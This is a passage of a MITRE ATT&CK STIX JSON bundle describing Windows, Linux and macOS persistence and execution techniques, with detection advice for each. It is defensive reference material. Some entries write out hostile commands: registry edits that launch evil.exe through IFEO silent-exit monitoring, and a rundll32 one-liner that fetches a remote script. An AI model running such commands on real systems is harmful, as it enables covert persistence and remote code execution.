                    "source_name": "Microsoft W32Time Feb 2018",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:35.700Z",
            "name": "Time Providers",
            "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
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                {
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
                "Scott Lundgren, @5twenty9, Carbon Black",
                "Harun K\u00fc\u00dfner"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1183",
                    "external_id": "T1183"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Microsoft Silent Process Exit NOV 2017",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
                },
                {
                    "source_name": "Oddvar Moe IFEO APR 2018",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:36.905Z",
            "name": "Image File Execution Options Injection",
            "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "created": "2017-05-31T21:31:06.045Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1085",
                    "external_id": "T1085"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:37.076Z",
            "name": "Rundll32",
            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Casey Smith"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "created": "2017-05-31T21:30:34.928Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1031",
                    "external_id": "T1031"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html",
                    "external_id": "CAPEC-551"
                },
                {
                    "source_name": "Twitter Service Recovery Nov 2017",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "Microsoft Service Recovery Feb 2013",
                    "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:37.255Z",
            "name": "Modify Existing Service",
            "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)",
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            "x_mitre_contributors": [
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                "Matthew Demaske, Adaptforward"
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            "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": false,
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            "x_mitre_platforms": [
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        },
        {
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            "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
            "created": "2020-01-24T14:17:43.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/005",
                    "external_id": "T1546.005"
                },
                {
                    "source_name": "Trap Manual",
                    "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.",
                    "url": "https://ss64.com/bash/trap.html"
                },
                {
                    "source_name": "Cyberciti Trap Statements",
                    "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.",
                    "url": "https://bash.cyberciti.biz/guide/Trap_statement"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:46:52.100Z",
            "name": "Trap",
            "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "created": "2020-03-13T20:09:59.569Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/006",
                    "external_id": "T1574.006"
                },
                {
                    "source_name": "Apple Doco Archive Dynamic Libraries",
                    "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
                },
                {
                    "source_name": "Baeldung LD_PRELOAD",
                    "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
                    "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
                },
                {
                    "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
                    "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
                    "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
                },
                {
                    "source_name": "Intezer Symbiote 2022",
                    "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
                    "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
                },
                {
                    "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
                    "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
                    "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
                },
                {
                    "source_name": "Man LD.SO",
                    "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
                    "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
                },
                {
                    "source_name": "Elastic Security Labs Pumakit 2024",
                    "description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
                    "url": "https://www.elastic.co/security-labs/declawing-pumakit"
                },
                {
                    "source_name": "TLDP Shared Libraries",
                    "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
                    "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
                },
                {
                    "source_name": "Timac DYLD_INSERT_LIBRARIES",
                    "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
                    "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
                },
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:36.147Z",
            "name": "Dynamic Linker Hijacking",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Command: Command Execution",
                "Module: Module Load",
                "Process: Process Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "created": "2020-01-28T13:50:22.506Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136/001",
                    "external_id": "T1136.001"
                },
                {
                    "source_name": "cisco_username_cmd",
                    "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
                },
                {
                    "source_name": "Kubernetes Service Accounts Security",
                    "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
                    "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:36.237Z",
            "name": "Local Account",
            "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as <code>net user /add</code> , <code>useradd</code> , and <code>dscl -create</code> . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "Containers",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "User Account: User Account Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--63e3d25c-d57d-407d-8e6a-2cecd71f90be",
            "created": "2025-03-27T18:14:06.330Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1674",
                    "external_id": "T1674"
                },
                {
                    "source_name": "BleepingComputer BackSwap",
                    "description": "Catalin Cimpanu. (2018, May 25). BackSwap Banking Trojan Uses Never-Before-Seen Techniques. Retrieved March 27, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/backswap-banking-trojan-uses-never-before-seen-techniques/"
                },
                {
                    "source_name": "BleepingComputer USB",
                    "description": "Ionut Ilascu. (2020, March 27). FBI: Hackers Sending Malicious USB Drives & Teddy Bears via USPS. Retrieved March 27, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/fbi-hackers-sending-malicious-usb-drives-and-teddy-bears-via-usps/"
                },
                {
                    "source_name": "welivesecurity BackSwap",
                    "description": "Michal Poslu\u0161n\u00fd. (2018, May 25). BackSwap malware finds innovative ways to empty bank accounts. Retrieved March 27, 2025.",
                    "url": "https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:36.409Z",
            "name": "Input Injection",
            "description": "Adversaries may simulate keystrokes on a victim\u2019s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts,  typing an inline script to be executed, or interacting directly with a GUI-based application.  These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.(Citation: BleepingComputer BackSwap)(Citation: welivesecurity BackSwap)\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.(Citation: BleepingComputer USB)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Alexey Kleymenov"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Script: Script Execution",
                "Drive: Drive Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "created": "2017-05-31T21:31:09.379Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1092",
                    "external_id": "T1092"
                },
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:06:39.028Z",
            "name": "Communication Through Removable Media",
